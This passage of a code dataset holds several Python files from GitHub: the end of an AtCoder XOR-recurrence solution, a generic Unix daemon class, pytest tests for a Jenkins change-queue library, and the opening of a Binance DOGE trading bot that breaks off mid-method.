np.bitwise_and(mat1, mat2[row])\n\t\tfor line in range(mat1_l):\n\t\t\tresult = 0\n\t\t\tfor l in tmp[line]:\n\t\t\t\tresult = result ^ l\n\t\t\tretmat[line][row] = result\n\t\t\t\t\n\n\treturn retmat\n\n\n\nK,M = map(int,input().split(\" \"))\nA = list(map(int,input().split(\" \")))\nC = list(map(int,input().split(\" \")))\nindex = M - K\n\nif index <= 0:\n\tprint(A[M-1])\n\texit(0)\n\nf = [C]\nf_add = [[0]*(K) for i in range(K-1)]\nfor i in range(K-1):\n\tf_add[i][i] = MASK\n\nf.extend(f_add)\nf_list = [f]\n\nnum = 2\nwhile num <= index:\n\tf = multi_xor(f,f)\n\tf_list.append(f)\n\tnum += num\n\n\nmaxiter = int(log2(num))\nrepmat = np.eye(K,dtype=int) * int(MASK)\nrepmat = repmat.tolist()\n\nfor j in range(maxiter):\n\tif (index >> j) & 1:\n\t\trepmat = multi_xor(f_list[j],repmat)\n\nA.reverse()\nans = multi_last(repmat,[A])\n\nprint(ans[0][0])\n\n\n\n","repo_name":"banboooo044/AtCoder","sub_path":"ABC009/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"27416056363","text":"import atexit\nimport os\nimport sys\nimport time\nfrom signal import signal, SIGTERM, SIGHUP, SIGUSR1\n\n\nclass Daemon(object):\n \"\"\"\n A generic daemon class.\n\n Usage: subclass the Daemon class and override the run() method\n\n Daemon([pidfile[, stdin[, stdout[, stderr]]]])\n\n pidfile : file to write pid to (default no pid file writen)\n stdin : standard input file descriptor (default to /dev/null)\n stdout : standard output file descriptor (default to /dev/null)\n stderr : standard error file descriptorr (default to /dev/null)\n \"\"\"\n version = '0.6'\n\n def __init__(self, pidfile,\n stdin = os.devnull,\n stdout = os.devnull,\n stderr = os.devnull):\n self.stdin = stdin\n self.stdout = stdout\n self.stderr = stderr\n self.pidfile = pidfile\n self.umask = 0\n\n def daemonize(self):\n \"\"\"\n Do the UNIX double-fork magic.\n see W. Richard Stevens, \"Advanced Programming in the Unix Environment\"\n for details (ISBN 0201563177)\n\n Short explanation:\n Unix processes belong to \"process group\" which in turn lies within a\n \"session\". A session can have a controlling tty.\n Forking twice allows to detach the session from a possible tty.\n The process lives then within the init process.\n \"\"\"\n try:\n pid = os.fork()\n if pid > 0:\n # exit first parent\n sys.exit(0)\n except OSError as e:\n sys.stderr.write('fork #1 failed: {0.errno:d} ({0.strerror})\\n'.format(e))\n sys.exit(1)\n\n # Decouple from parent environment\n os.chdir('/')\n os.setsid()\n self.umask = os.umask(0)\n\n # Do second fork\n try:\n pid = os.fork()\n if pid > 0:\n # exit from second parent\n sys.exit(0)\n except OSError as e:\n sys.stderr.write('fork #2 failed: {0.errno:d} ({0.strerror})\\n'.format(e))\n sys.exit(1)\n\n self.write_pid()\n # redirect standard file descriptors\n sys.stdout.flush()\n sys.stderr.flush()\n # TODO: binary or txt mode?\n si = open(self.stdin, mode='rb')\n so = open(self.stdout, mode='ab+')\n se = open(self.stderr, mode='ab+', buffering=0)\n os.dup2(si.fileno(), sys.stdin.fileno())\n os.dup2(so.fileno(), sys.stdout.fileno())\n os.dup2(se.fileno(), sys.stderr.fileno())\n\n atexit.register(self.shutdown)\n self.signal_management()\n\n def write_pid(self):\n # write pidfile\n if not self.pidfile:\n return\n pid = str(os.getpid())\n try:\n os.umask(self.umask)\n open(self.pidfile, 'w').write('%s\\n' % pid)\n except Exception as wpid_err:\n sys.stderr.write('Error trying to write pid file: {}\\n'.format(wpid_err))\n sys.exit(1)\n os.umask(0)\n atexit.register(self.delpid)\n\n def signal_management(self):\n \"\"\"Declare signal handlers\n \"\"\"\n signal(SIGTERM, self.exit_handler)\n signal(SIGHUP, self.hup_handler)\n signal(SIGUSR1, self.hup_handler)\n\n def exit_handler(self, signum, frame):\n sys.exit(1)\n\n def hup_handler(self, signum, frame):\n \"\"\"SIGHUP handler\"\"\"\n pass\n\n def delpid(self):\n \"\"\"Remove PID file\"\"\"\n try:\n os.unlink(self.pidfile)\n except OSError as err:\n message = 'Error trying to remove PID file: {}\\n'\n sys.stderr.write(message.format(err))\n\n def start(self):\n \"\"\"\n Start the daemon\n \"\"\"\n # Check for a pidfile to see if the daemon already runs\n try:\n pf = open(self.pidfile, 'r')\n pid = int(pf.read().strip())\n pf.close()\n except IOError:\n pid = None\n\n if pid:\n message = 'pidfile {0.pidfile} already exist. Daemon already running?\\n'\n sys.stderr.write(message.format(self))\n sys.exit(1)\n\n # Start the daemon\n self.daemonize()\n self.run()\n\n def foreground(self):\n \"\"\"\n Foreground/debug mode\n \"\"\"\n self.write_pid()\n atexit.register(self.shutdown)\n self.run()\n\n def stop(self):\n \"\"\"\n Stop the daemon\n \"\"\"\n # Get the pid from the pidfile\n try:\n pf = open(self.pidfile, 'r')\n pid = int(pf.read().strip())\n pf.close()\n except IOError:\n pid = None\n\n if not pid:\n message = 'pidfile {0.pidfile} does not exist. Is the Daemon running?\\n'\n sys.stderr.write(message.format(self))\n return # not an error in a restart\n\n # Try killing the daemon process\n try:\n os.kill(pid, SIGTERM)\n time.sleep(0.1)\n except OSError as err:\n if err.errno == 3:\n if os.path.exists(self.pidfile):\n message = \"Daemon's not running? removing pid file {0.pidfile}.\\n\"\n sys.stderr.write(message.format(self))\n os.remove(self.pidfile)\n else:\n sys.stderr.write(err.strerror)\n sys.exit(1)\n\n def restart(self):\n \"\"\"\n Restart the daemon\n \"\"\"\n self.stop()\n self.start()\n\n def shutdown(self):\n \"\"\"\n You should override this method when you subclass Daemon. It will be\n called when the process is being stopped.\n Pay attention:\n Daemon() uses atexit to call Daemon().shutdown(), as a consequence\n shutdown and any other functions registered via this module are not\n called when the program is killed by an un-handled/unknown signal.\n This is the reason of Daemon().signal_management() existence.\n \"\"\"\n\n def run(self):\n \"\"\"\n You should override this method when you subclass Daemon. It will be\n called after the process has been daemonized by start() or restart().\n \"\"\"\n\n# VIM MODLINE\n# vim: ai ts=4 sw=4 sts=4 expandtab\n","repo_name":"mxjeff/mpd-sima","sub_path":"sima/lib/daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":6211,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"34903727853","text":"#!/usr/bin/env python\n\"\"\"test_change_queue.py - Tests for change_queue.python\n\"\"\"\nfrom __future__ import absolute_import, print_function\nimport pytest\nimport random\nfrom math import log, ceil\nfrom copy import copy\nfrom six.moves import range\nfrom collections import namedtuple\nfrom textwrap import dedent\nimport re\ntry:\n from unittest.mock import MagicMock, call, sentinel\nexcept ImportError:\n from mock import MagicMock, call, sentinel\n\nfrom stdci_libs.change_queue import ChangeQueue, ChangeQueueWithDeps, \\\n JenkinsChangeQueueObject, JenkinsChangeQueue, ChangeQueueWithStreams, \\\n JenkinsTestedChangeList\nfrom stdci_libs.jenkins_objects import NotInJenkins\n\n\ndef _enlist_state(state):\n \"\"\"Convert queue state into lists\"\"\"\n return list(list(st) for st in state)\n\n\nclass TestChangeQueue(object):\n @pytest.mark.parametrize(\n ('initq', 'add_arg', 'expq'),\n [\n ([[]], 1, [[1]]),\n ([[1]], 2, [[1, 2]]),\n ([[1, 2]], 3, [[1, 2, 3]]),\n ([[1, 2, 3], []], 4, [[1, 2, 3], [4]]),\n ([[1, 2, 3], [4]], 5, [[1, 2, 3], [4, 5]]),\n ([[1, 2, 3], [4, 5], []], 6, [[1, 2, 3], [4, 5], [6]]),\n ]\n )\n def test_add(self, initq, add_arg, expq):\n queue = ChangeQueue(initq)\n queue.add(add_arg)\n assert expq == _enlist_state(queue._state)\n\n @pytest.mark.parametrize(\n ('initq', 'inittk', 'exptk', 'expcl', 'expq'),\n [\n ([[]], None, None, [], [[]]),\n ([[1, 2]], None, '__SOME__', [1, 2], [[1, 2], []]),\n ([[1, 2], [3]], None, '__SOME__', [1, 2], [[1, 2], [3]]),\n ([[1, 2], [3]], 'k1', 'k1', [1, 2], [[1, 2], [3]]),\n ]\n )\n def test_get_next_test(self, initq, inittk, exptk, expcl, expq):\n queue = ChangeQueue(initq, inittk)\n outtk, outcl = queue.get_next_test()\n if exptk == '__SOME__':\n assert outtk is not None\n else:\n assert exptk == outtk\n assert expcl == outcl\n assert expq == _enlist_state(queue._state)\n # Logical invariants:\n assert list(queue._state[0]) == outcl\n assert queue._test_key == outtk\n\n @pytest.mark.parametrize(\n ('initq', 'inittk', 'tk', 'expsl', 'expfl', 'expq', 'exptk'),\n [\n ([[1, 2], [3]], None, 'k1', [], [], [[1, 2], [3]], None),\n ([[1, 2], [3]], None, None, [], [], [[1, 2], [3]], None),\n ([[1, 2]], None, 'k1', [], [], [[1, 2]], None),\n ([[1, 2], [3]], 'k1', 'k2', [], [], [[1, 2], [3]], 'k1'),\n ([[1, 2], [3]], 'k1', None, [], [], [[1, 2], [3]], 'k1'),\n ([[1, 2], [3]], 'k1', 'k1', [1, 2], [], [[3]], None),\n ([[1, 2], [3], []], 'k1', 'k1', [1, 2], [3], [[]], None),\n ([[1], [3], []], 'k1', 'k1', [1], [3], [[]], None),\n ([[1], [3, 4], []], 'k1', 'k1', [1], [], [[3], [4], []], None),\n ]\n )\n def test_on_test_success(self, initq, inittk, tk,\n expsl, expfl, expq, exptk):\n queue = ChangeQueue(initq, inittk)\n outsl, outfl, outc = queue.on_test_success(tk)\n assert expsl == outsl\n assert expfl == outfl\n # For simple queues failure cause is the 1st change in the fail list\n assert next(iter(expfl), None) == outc\n assert expq == _enlist_state(queue._state)\n assert queue._test_key == exptk\n\n @pytest.mark.parametrize(\n ('initq', 'inittk', 'tk', 'expfl', 'expq', 'exptk'),\n [\n ([[1, 2], [3]], None, 'k1', [], [[1, 2], [3]], None),\n ([[1, 2], [3]], None, None, [], [[1, 2], [3]], None),\n ([[1, 2]], None, 'k1', [], [[1, 2]], None),\n ([[1, 2], [3]], 'k1', 'k2', [], [[1, 2], [3]], 'k1'),\n ([[1, 2], [3]], 'k1', None, [], [[1, 2], [3]], 'k1'),\n ([[1, 2], [3]], 'k1', 'k1', [], [[1], [2], [3]], None),\n ([[1, 2], [3], [4]], 'k1', 'k1', [], [[1], [2], [3], [4]], None),\n ([[1, 2, 3], [4]], 'k1', 'k1', [], [[1], [2, 3], [4]], None),\n ([[1, 2, 3, 4], [5]], 'k1', 'k1', [], [[1, 2], [3, 4], [5]], None),\n ([[1], [2], [3, 4], [5]], 'k1', 'k1', [1], [[2, 3, 4, 5]], None),\n ([[1], [2], []], 'k1', 'k1', [1], [[2]], None),\n ([[1], [2]], 'k1', 'k1', [1], [[2]], None),\n ]\n )\n def test_on_test_failure(self, initq, inittk, tk, expfl, expq, exptk):\n queue = ChangeQueue(initq, inittk)\n outsl, outfl, outc = queue.on_test_failure(tk)\n assert [] == outsl\n assert expfl == outfl\n # For simple queues failure cause is the 1st change in the fail list\n assert next(iter(expfl), None) == outc\n assert expq == _enlist_state(queue._state)\n assert queue._test_key == exptk\n\n @pytest.mark.parametrize(\n ('num_changes', 'num_bad'),\n [(99, 1), (100, 1), (3, 1), (4, 1), (100, 2), (45, 3), (5, 5)]\n )\n def test_bad_search(self, num_changes, num_bad):\n for time in range(1, 20):\n changes = range(0, num_changes)\n bad_changes = copy(list(changes))\n random.shuffle(bad_changes)\n bad_changes = set(bad_changes[:num_bad])\n print('bad: ', bad_changes)\n queue = ChangeQueue([changes])\n found_bad = set()\n for attempts in range(0, num_changes * num_bad):\n test_key, test_list = queue.get_next_test()\n assert test_key\n assert test_list\n print(test_list)\n if bad_changes & set(test_list):\n _, fail_list, _ = queue.on_test_failure(test_key)\n else:\n _, fail_list, _ = queue.on_test_success(test_key)\n if fail_list:\n found_bad |= set(fail_list)\n if len(found_bad) >= num_bad:\n break\n assert bad_changes == found_bad\n assert attempts <= (ceil(log(num_changes, 2)) + 1) * num_bad\n\n\nclass ChangeWithDeps(namedtuple('_ChangeWithDeps', ('id', 'requirements'))):\n @classmethod\n def from_value(cls, chvalue):\n try:\n return cls(int(chvalue), set())\n except ValueError:\n match = re.match('^(\\\\d+)((r\\\\d+(,\\\\d+)*)*)$', str(chvalue))\n if not match:\n raise ValueError('Malformed ChangeWithDeps string')\n chid = int(match.group(1))\n req_set = set()\n req_lists = re.findall('r(\\\\d+(,\\\\d+)*)', match.group(2))\n for req_list, _ in req_lists:\n req_set |= set(int(c) for c in req_list.split(','))\n return cls(chid, req_set)\n\n def __str__(self):\n out = str(self.id)\n if self.requirements:\n out += 'r' + ','.join(map(str, self.requirements))\n return out\n\n_cwds_fv = ChangeWithDeps.from_value\n\n\n@pytest.mark.parametrize(\n ('init_param', 'exp_obj'),\n [\n (17, (17, set())),\n ('15', (15, set())),\n ('3r4', (3, set([4]))),\n ('5r6', (5, set([6]))),\n ('7r8r9', (7, set([8, 9]))),\n ('10r11,12r13,14,15', (10, set([11, 12, 13, 14, 15]))),\n ('16r17,18r19r20r21,22', (16, set([19, 21, 22, 17, 18, 20]))),\n ]\n)\ndef test_change_with_deps_from_value(init_param, exp_obj):\n out_obj = ChangeWithDeps.from_value(init_param)\n assert exp_obj == out_obj\n\n\ndef _c2adep(change):\n \"\"\"Convert a change string to (change, deps) pair\"\"\"\n cwd = _cwds_fv(change)\n return cwd, set(cwd.requirements)\n\n\n@pytest.mark.parametrize(\n ('change', 'exp_c_d_pair'),\n [\n (1, (_cwds_fv(1), set())),\n ('1r5', (_cwds_fv('1r5'), set([5]))),\n ('1r5,6', (_cwds_fv('1r5,6'), set([5, 6]))),\n ]\n)\ndef test_c2adep(change, exp_c_d_pair):\n out = _c2adep(change)\n assert exp_c_d_pair == out\n\n\nclass TestChangeQueueWithDeps(object):\n @pytest.mark.parametrize(\n ('change', 'exp'),\n [\n (_cwds_fv('1r2'), [2]),\n (_cwds_fv('1r2,3'), [2, 3]),\n (_cwds_fv('1'), []),\n ]\n )\n def test_change_requirements(self, change, exp):\n out = ChangeQueueWithDeps._change_requirements(change)\n assert set(exp) == out\n\n @pytest.mark.parametrize(\n ('initq', 'change', 'exp_deps'),\n [\n ([[1], [2, 3]], 4, []),\n ([[1], [2, 3]], '4r5', [5]),\n ([[1], [2, 3]], '4r2', []),\n ([[1], [2, 3]], '4r2,1', []),\n ([[1], [2, 3]], '4r2,5,1', [5]),\n ([[1], [2, 3]], '4r2,5,1,6', [5, 6]),\n ]\n )\n def test_get_missing_deps(self, initq, change, exp_deps):\n queue = ChangeQueueWithDeps(initq)\n out_deps = queue._get_missing_deps(_cwds_fv(change))\n assert set(exp_deps) == set(out_deps)\n\n @pytest.mark.parametrize(\n ('change_id', 'changes', 'exp_deps'),\n [\n (0, [], []),\n (0, [0, 1, 2], []),\n (0, [0, '1r0', '2r3'], [1]),\n (0, [0, '1r0', '2r0', 3], [1, 2]),\n (0, ['0r3,4', '1r0', '2r0', 3], [1, 2]),\n (0, ['0r0', '1r0', '2r0', 3], [0, 1, 2]),\n (0, ['0r1', '1r0', '2r0', 3], [0, 1, 2]),\n (0, ['0r1', '1r2', '2r0', '3r1'], [0, 1, 2, 3]),\n (0, ['0r1,4', '1r2', '2r0', '3r1', 4], [0, 1, 2, 3]),\n (0, ['0r1,4,5', '1r2', '2r0', '3r1', '4r5'], [0, 1, 2, 3]),\n ]\n )\n def test_find_dependants_on(self, change_id, changes, exp_deps):\n deps = ChangeQueueWithDeps._find_dependants_on(\n change_id, map(_cwds_fv, changes)\n )\n assert set(exp_deps) == set(deps)\n\n @pytest.mark.parametrize(\n ('adeps', 'dep_ids', 'exp_out', 'exp_a_deps'),\n [\n ([], [], [], []),\n ([], [1, 2, 3], [], []),\n ([1, 2, 3, 4, 5], [2, 4, 6], [2, 4], [1, 3, 5]),\n ]\n )\n def test_rm_a_deps_by_ids(self, adeps, dep_ids, exp_out, exp_a_deps):\n queue = ChangeQueueWithDeps(awaiting_deps=map(_c2adep, adeps))\n out = queue._remove_awaiting_deps_by_ids(set(dep_ids))\n assert list(map(_c2adep, exp_out)) == out\n assert list(map(_c2adep, exp_a_deps)) == list(queue._awaiting_deps)\n\n @pytest.mark.parametrize(\n ('add_sequence', 'exp_state_ids', 'exp_loop_ids'),\n [\n ([1, 2, 3], [1, 2, 3], []),\n ([1, '2r1', '3r1'], [1, 2, 3], []),\n (['2r1', '3r1', 1], [1, 2, 3], []),\n (['3r1,2', '2r1', 1], [1, 2, 3], []),\n (['3r2', '2r1', 1], [1, 2, 3], []),\n (['2r1', '4r5', 1, '3r2'], [1, 2, 3], []),\n (['2r1,4', '4r5', 1, '3r2'], [1], []),\n (['2r1,4', '4r5', 1, '3r2', 5], [1, 5, 4, 2, 3], []),\n (['3r2', '5r4', '2r1', '6r5', '4r1', 1], [1, 2, 3, 4, 5, 6], []),\n (['1r2,3', 3, 2], [3, 2, 1], []),\n (['1r1'], [], [1]),\n ([1, '2r2', 3], [1, 3], [2]),\n (['1r3', 2, '3r1'], [2], [3, 1]),\n (['1r3', '2r3', '3r1'], [], [3, 1, 2]),\n (['1r2', '2r3', '3r2'], [], [3, 2, 1]),\n (['1r2', '2r3', '3r1'], [], [3, 2, 1]),\n (['1r2', '5r4', '2r3', 4, '3r1'], [4, 5], [3, 2, 1]),\n (['1r2', '5r4', '2r3', '4r1', '3r1'], [], [3, 2, 1, 4, 5]),\n ]\n )\n def test_add(self, add_sequence, exp_state_ids, exp_loop_ids):\n queue = ChangeQueueWithDeps()\n loop_ids = []\n for change in add_sequence:\n added, in_loop = queue.add(_cwds_fv(change))\n print('added: ', added)\n print('in_loop:', in_loop)\n loop_ids.extend(map(ChangeQueueWithDeps._change_id, in_loop))\n assert exp_state_ids == \\\n list(map(ChangeQueueWithDeps._change_id, queue._state[0]))\n assert exp_loop_ids == loop_ids\n\n @pytest.mark.parametrize(\n ('initq', 'initwd', 'expfl', 'expq', 'expwd'),\n [\n (\n [[1, 2, '3r1', '4r2', 5, '6r1', '7r2', '8r1', '9r6'], []],\n ['10r2,99', '11r98', '12r1,99', '13r99'],\n [],\n [[1, 2, '3r1', '4r2'], [5, '6r1', '7r2', '8r1', '9r6'], []],\n ['10r2,99', '11r98', '12r1,99', '13r99'],\n ),\n (\n [[1], [2, '3r1', '4r2', 5, '6r1', '7r2', '8r1', '9r6'], []],\n ['10r2,99', '11r98', '12r1,99', '13r99'],\n [1, 3, 6, 8, 9, 12],\n [[2, '4r2', 5, '7r2']],\n ['10r2,99', '11r98', '13r99'],\n ),\n (\n [[1], [2, '3r1', '4r2', 5, '6r1'], ['7r2', '8r1', '9r6']],\n ['10r2,99', '11r98', '12r1,99', '13r99'],\n [1, 3, 6, 8, 9, 12],\n [[2, '4r2', 5, '7r2']],\n ['10r2,99', '11r98', '13r99'],\n ),\n ]\n )\n def test_on_test_failure(self, initq, initwd, expfl, expq, expwd):\n queue = ChangeQueueWithDeps(\n (map(_cwds_fv, s) for s in initq), 'k1', map(_c2adep, initwd)\n )\n outsl, outfl, outc = queue.on_test_failure('k1')\n assert [] == outsl\n assert expfl == list(map(ChangeQueueWithDeps._change_id, outfl))\n # For dep queues, failure cause is the 1st change in the fail list\n assert next(iter(expfl), None) == ChangeQueueWithDeps._change_id(outc)\n assert [list(map(_cwds_fv, s)) for s in expq] == \\\n _enlist_state(queue._state)\n assert list(map(_c2adep, expwd)) == list(queue._awaiting_deps)\n\n\nclass TestChangeQueueWithStreams(object):\n @staticmethod\n def str_to_chg(s):\n data = iter(str(s).split('s'))\n return MagicMock(\n ('id', 'stream_id', '__eq__', '__repr__'),\n id=next(data),\n stream_id=next(data, None),\n __eq__=lambda self, chg: self.id == chg.id,\n __repr__=lambda self: str(s),\n )\n\n def test_str_to_chg(self):\n c1 = self.str_to_chg('1sA')\n assert c1.id == '1'\n assert c1.stream_id == 'A'\n c2 = self.str_to_chg(1)\n assert c2.id == '1'\n assert c2.stream_id is None\n assert c1 == c2\n c3 = self.str_to_chg('2sA')\n assert c3.id == '2'\n assert c3.stream_id == c1.stream_id\n assert c3 != c1\n c4 = self.str_to_chg('1sA')\n assert c4.id == c1.id\n assert c4.stream_id == c1.stream_id\n assert c4 == c1\n assert id(c4) != id(c1)\n\n @classmethod\n def str_list_to_sm(cls, clist):\n return dict(\n (chg.stream_id, chg)\n for chg in map(cls.str_to_chg, clist)\n if chg.stream_id is not None\n )\n\n def test_str_list_to_sm(self):\n sm = self.str_list_to_sm(['1sA', '2sB'])\n assert 'A' in sm\n assert sm['A'].id == '1'\n assert 'B' in sm\n assert sm['B'].id == '2'\n assert sm['A'] == self.str_to_chg('1sA')\n assert sm == dict(A=self.str_to_chg('1sA'), B=self.str_to_chg('2sB'))\n\n @pytest.mark.parametrize(\n ('initqc', 'initsm', 'expfl', 'expc', 'expsm'),\n [\n (1, [], [1], 1, []),\n ('1sA', [], ['1sA'], '1sA', ['1sA']),\n ('2sA', ['1sA'], ['2sA'], '1sA', ['1sA']),\n (2, ['1sA'], [2], 2, ['1sA']),\n ('2sB', ['1sA'], ['2sB'], '2sB', ['1sA', '2sB']),\n ('3sA', ['1sA', '2sB'], ['3sA'], '1sA', ['1sA', '2sB']),\n ],\n )\n def test_on_test_failure(self, initqc, initsm, expfl, expc, expsm):\n queue = ChangeQueueWithStreams(\n [[self.str_to_chg(initqc)], []],\n 'tk1', self.str_list_to_sm(initsm)\n )\n outsl, outfl, outc = queue.on_test_failure('tk1')\n assert outsl == []\n assert outfl == list(map(self.str_to_chg, expfl))\n assert outc == self.str_to_chg(expc)\n assert _enlist_state(queue._state) == [[]]\n assert queue._stream_map == self.str_list_to_sm(expsm)\n\n @pytest.mark.parametrize(\n ('initqs', 'initsm', 'expsl', 'expfl', 'expc', 'expsm'),\n [\n ([1], [], [1], [], None, []),\n (['1sA'], [], ['1sA'], [], None, []),\n (['2sA'], ['1sA'], ['2sA'], [], None, []),\n ([2], ['1sA'], [2], [], None, ['1sA']),\n (['2sB'], ['1sA'], ['2sB'], [], None, ['1sA']),\n (['2sA', '3sA'], ['1sA'], ['2sA'], ['3sA'], '3sA', ['3sA']),\n (['2sB', '3sA'], ['1sA'], ['2sB'], ['3sA'], '1sA', ['1sA']),\n (['2sA', '3sA'], [], ['2sA'], ['3sA'], '3sA', ['3sA']),\n ([2, '3sB'], ['1sA'], [2], ['3sB'], '3sB', ['1sA', '3sB']),\n ([2, '3sB'], ['1sA', '4sB'], [2], ['3sB'], '4sB', ['1sA', '4sB']),\n ],\n )\n def test_on_test_success(self, initqs, initsm, expsl, expfl, expc, expsm):\n queue = ChangeQueueWithStreams(\n list(map(lambda x: [x], map(self.str_to_chg, initqs))) + [[]],\n 'tk1', self.str_list_to_sm(initsm)\n )\n outsl, outfl, outc = queue.on_test_success('tk1')\n assert outsl == list(map(self.str_to_chg, expsl))\n assert outfl == list(map(self.str_to_chg, expfl))\n if expc is None:\n assert outc is None\n else:\n assert outc == self.str_to_chg(expc)\n assert _enlist_state(queue._state) == [[]]\n assert queue._stream_map == self.str_list_to_sm(expsm)\n\n\nclass TestJenkinsChangeQueueObject(object):\n def test_queue_job_name(self, not_jenkins_env):\n jcqo = JenkinsChangeQueueObject()\n out = jcqo.queue_job_name('QQQ')\n assert out == 'QQQ_change-queue'\n with pytest.raises(NotInJenkins):\n out = jcqo.queue_job_name()\n jcqo.get_queue_name = MagicMock(side_effect=('QNQN',))\n out = jcqo.queue_job_name()\n assert out == 'QNQN_change-queue'\n\n def test_tester_job_name(self, not_jenkins_env):\n jcqo = JenkinsChangeQueueObject()\n out = jcqo.tester_job_name('QQQ')\n assert out == 'QQQ_change-queue-tester'\n with pytest.raises(NotInJenkins):\n out = jcqo.tester_job_name()\n jcqo.get_queue_name = MagicMock(side_effect=('QNQN',))\n out = jcqo.tester_job_name()\n assert out == 'QNQN_change-queue-tester'\n\n @pytest.mark.parametrize(\n ('job_name', 'exp_queue_name'),\n [\n ('QQQ_change-queue', 'QQQ'),\n ('QQQ_change-queue-tester', 'QQQ'),\n ('foo-bar', None),\n ]\n )\n def test_job_to_queue_name(self, job_name, exp_queue_name):\n out_queue_name = JenkinsChangeQueueObject.job_to_queue_name(job_name)\n assert exp_queue_name == out_queue_name\n\n def test_get_queue_name(self, not_jenkins_env):\n jcqo = JenkinsChangeQueueObject()\n jcqo.verify_in_jenkins = MagicMock()\n jcqo.get_job_name = MagicMock(side_effect=(sentinel.job_name,))\n jcqo.job_to_queue_name = MagicMock(side_effect=(sentinel.queue_name,))\n out = jcqo.get_queue_name()\n assert jcqo.verify_in_jenkins.called\n assert jcqo.get_job_name.called\n assert jcqo.job_to_queue_name.called\n assert jcqo.job_to_queue_name.call_args == call(sentinel.job_name)\n assert out == sentinel.queue_name\n\n\nclass TestJenkinsChangeQueue(object):\n def test_persistance(self, jenkins_env):\n changes = [1, 2, 3]\n with JenkinsChangeQueue.persist_in_artifacts() as queue:\n for change in changes:\n queue.add(change)\n queue = None\n assert queue is None\n with JenkinsChangeQueue.persist_in_artifacts() as queue:\n assert [changes] == _enlist_state(queue._state)\n for change in changes:\n queue.add(change)\n queue = None\n assert queue is None\n with JenkinsChangeQueue.persist_in_artifacts() as queue:\n assert [changes * 2] == _enlist_state(queue._state)\n\n def test_report_change_status(self):\n qname = 'some-queue-name'\n states = ('successful', 'failed', 'added', 'rejected')\n cause = sentinel.cause\n test_url = sentinel.test_url\n for status in states:\n chg = MagicMock(('report_status',))\n JenkinsChangeQueue._report_change_status(\n chg, status, qname, cause, test_url\n )\n assert chg.report_status.call_count == 1\n assert chg.report_status.call_args == \\\n call(status, qname, cause, test_url)\n\n chg = MagicMock(())\n for status in states:\n JenkinsChangeQueue._report_change_status(\n chg, status, qname, cause\n )\n assert not chg.called\n\n @pytest.mark.parametrize(\n ('act', 'arg', 'rvl', 'tp', 'rep_calls', 'tst_calls'),\n [\n ('add', 'some-change', 2, True, 2, 1),\n ('on_test_success', 'some-test-key', 3, False, 2, 1),\n ('on_test_failure', 'some-test-key', 3, False, 2, 1),\n ('get_next_test', None, 2, False, 0, 0),\n ]\n )\n def test_act_on_job_params(self, act, arg, rvl, tp, rep_calls, tst_calls):\n jcq = JenkinsChangeQueue()\n jcq._cleanup_result_files = MagicMock()\n jcq.get_queue_name = MagicMock()\n jcq._report_changes_status = MagicMock()\n jcq._build_change_list = MagicMock()\n jcq._write_status_file = MagicMock()\n jcq._schedule_tester_run = MagicMock()\n act_func = MagicMock(side_effect=(tuple(range(rvl)),))\n setattr(jcq, act, act_func)\n if arg is not None:\n if tp:\n action_arg_prm = jcq.object_to_param_str(arg)\n else:\n action_arg_prm = arg\n else:\n action_arg_prm = None\n jcq.act_on_job_params(act, action_arg_prm)\n assert jcq._cleanup_result_files.called\n assert act_func.called\n if arg is not None:\n assert act_func.call_args == call(arg)\n else:\n assert act_func.call_args == call()\n assert jcq._report_changes_status.call_count == rep_calls\n assert jcq._schedule_tester_run.call_count == tst_calls\n assert jcq._write_status_file.called\n\n\nclass TestJenkinsTestedChangeList(object):\n @staticmethod\n def str_to_strmchg(s):\n change = TestChangeQueueWithStreams.str_to_chg(s)\n change.url = 'http://foo/bar/{0}'.format(change.id)\n return change\n\n def test_visible_changes(self):\n changes = list(map(self.str_to_strmchg, ['1sA', 2, '3sB', '4sA']))\n expeted = list(map(self.str_to_strmchg, [2, '3sB', '4sA']))\n jtcl = JenkinsTestedChangeList('k1', changes)\n out = list(jtcl.visible_changes)\n assert expeted == out\n\n def test_get_test_build_title(self):\n changes = list(map(self.str_to_strmchg, range(1, 4)))\n change = changes[0]\n jtcl = JenkinsTestedChangeList('k1', [])\n assert jtcl.get_test_build_title() == ''\n jtcl = JenkinsTestedChangeList('k1', [change])\n assert jtcl.get_test_build_title() == '[1: 1]'\n jtcl = JenkinsTestedChangeList('k1', changes)\n assert jtcl.get_test_build_title() == '[3]'\n\n def test_get_test_summary(self):\n changes = list(map(self.str_to_strmchg, range(1, 4)))\n change = changes[0]\n jtcl = JenkinsTestedChangeList('k1', [])\n assert jtcl.get_test_summary() == 'No change to test'\n jtcl = JenkinsTestedChangeList('k1', [change])\n assert jtcl.get_test_summary() == 'Testing a single change: 1'\n jtcl = JenkinsTestedChangeList('k1', changes)\n assert jtcl.get_test_summary() == dedent(\n '''\n Testing 3 changes:\n - 1 - http://foo/bar/1\n - 2 - http://foo/bar/2\n - 3 - http://foo/bar/3\n '''\n ).lstrip()\n","repo_name":"oVirt/jenkins","sub_path":"test/test_change_queue.py","file_name":"test_change_queue.py","file_ext":"py","file_size_in_byte":23659,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"53"} +{"seq_id":"34293993623","text":"import websocket,json,pprint, talib, numpy\n\nfrom binance.client import Client\nfrom binance.enums import *\nimport config\nimport datetime\nfrom helpers import *\nimport time\nimport os\nimport threading\n\nclient = Client(config.API_KEY,config.API_SECRET, tld='us')\n\nclass Hedge_Short():\n def __init__(self):\n self.vers = \"hedge\"\n self.TRADE_SYMBOL = \"DOGEUSDT\"\n \n self.trade_entry_prices = []\n self.trade_exit_prices = []\n self.entry_price = 0\n self.exit_price = 0\n self.running_profit = 0\n self.rebalancing = 0\n self.MIN_SHARES = 700\n self.SHARES = self.MIN_SHARES\n self.tp = 0.01\n #git\n \n self.TRADES_dict= {\"ID\":1,\"entry_date\":datetime.datetime.now(),\"exit_date\":None,\"entry_price\":0,\"exit_price\":0,\"shares\":0,\"symbol\":\"DOGEUSDT\",\"tp\":0,\"long\":0,\"open\":0,\"closed\":0,\"profit\":0}\n\n # self.trades = []\n\n self.trades_updated = []\n \n def print_shit(self,close):\n pass\n \n\n def is_file_empty_3(self,file_name):\n #\"\"\" Check if file is empty by reading first character in it\"\"\"\n # open ile in read mode\n with open(file_name, 'r') as 